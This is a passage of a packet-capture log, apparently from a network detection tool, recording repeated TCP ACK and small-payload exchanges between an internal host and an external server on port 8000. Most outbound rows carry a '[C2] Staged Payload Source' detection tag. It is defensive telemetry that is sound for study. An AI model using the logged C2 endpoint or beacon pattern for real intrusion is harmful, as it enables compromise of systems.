Ack=132548632,bc2411360d0cbc24112907bb080045000034b02c400040067fc7c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.,@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45100, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32711, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:05.969304,1218,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f6400080063e080a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45558, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15880, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:05.969328,1219,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b02d400040067fc6c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4.-@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45101, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32710, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:06.984924,1220,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f7400080063e070a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45559, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15879, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:06.984954,1221,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b02e400040067fc5c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4..@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45102, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32709, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:08.000611,1222,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548631 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1f8400080063e060a98980bc0a3a789fa751f4007e68817391c889b501020141984000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45560, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15878, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548631, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6532, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:08.000642,1223,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548632,bc2411360d0cbc24112907bb080045000034b02f400040067fc4c0a3a7890a98980b1f40fa75391c889b07e688188010003f0af700000101050a07e6881707e68818,\".$.6\n..$.)....E..4./@.@.......\n....@.u9..........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45103, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32708, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548632, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548631, 132548632))]\"\"}}]\"\n2026-07-01 09:15:08.909039,1224,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=132548632 Ack=958171291,bc24112907bbbc2411360d0c08004500003db1f9400080063df10a98980bc0a3a789fa751f4007e68818391c889b50182014b3c500001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45561, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15857, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548632, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 46021, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:15:08.909079,1225,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000028b030400040067fcfc0a3a7890a98980b1f40fa75391c889b07e6882d5010003f0aeb0000,\".$.6\n..$.)....E..(.0@.@.......\n....@.u9......-P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45104, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32719, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:15:09.922516,1226,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1fa400080063e040a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45562, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15876, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:09.922549,1227,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b031400040067fc2c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.1@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45105, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32706, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:10.938157,1228,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1fb400080063e030a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45563, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15875, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:10.938189,1229,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b032400040067fc1c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.2@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45106, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32705, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:11.938217,1230,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1fc400080063e020a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45564, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15874, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:11.938251,1231,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b033400040067fc0c0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.3@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45107, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32704, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:12.953850,1232,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1fd400080063e010a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45565, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15873, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64117, \"\"dport\"\": 8000, \"\"seq\"\": 132548652, \"\"ack\"\": 958171291, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 6511, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:12.953886,1233,TCP 192.163.167.137:8000 -> 10.152.152.11:64117,192.163.167.137,10.152.152.11,8000,64117,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=958171291 Ack=132548653,bc2411360d0cbc24112907bb080045000034b034400040067fbfc0a3a7890a98980b1f40fa75391c889b07e6882d8010003f0af700000101050a07e6882c07e6882d,\".$.6\n..$.)....E..4.4@.@.......\n....@.u9......-...?\n......\n...,...-\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45108, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 32703, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64117, \"\"seq\"\": 958171291, \"\"ack\"\": 132548653, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (132548652, 132548653))]\"\"}}]\"\n2026-07-01 09:15:13.954060,1234,TCP 10.152.152.11:64117 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64117,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=132548652 Ack=958171291,bc24112907bbbc2411360d0c080045000029b1fe400080063e000a98980bc0a3a789fa751f4007e6882c391c889b50102014196f000000,\u0000,[C2] Staged Payload Source 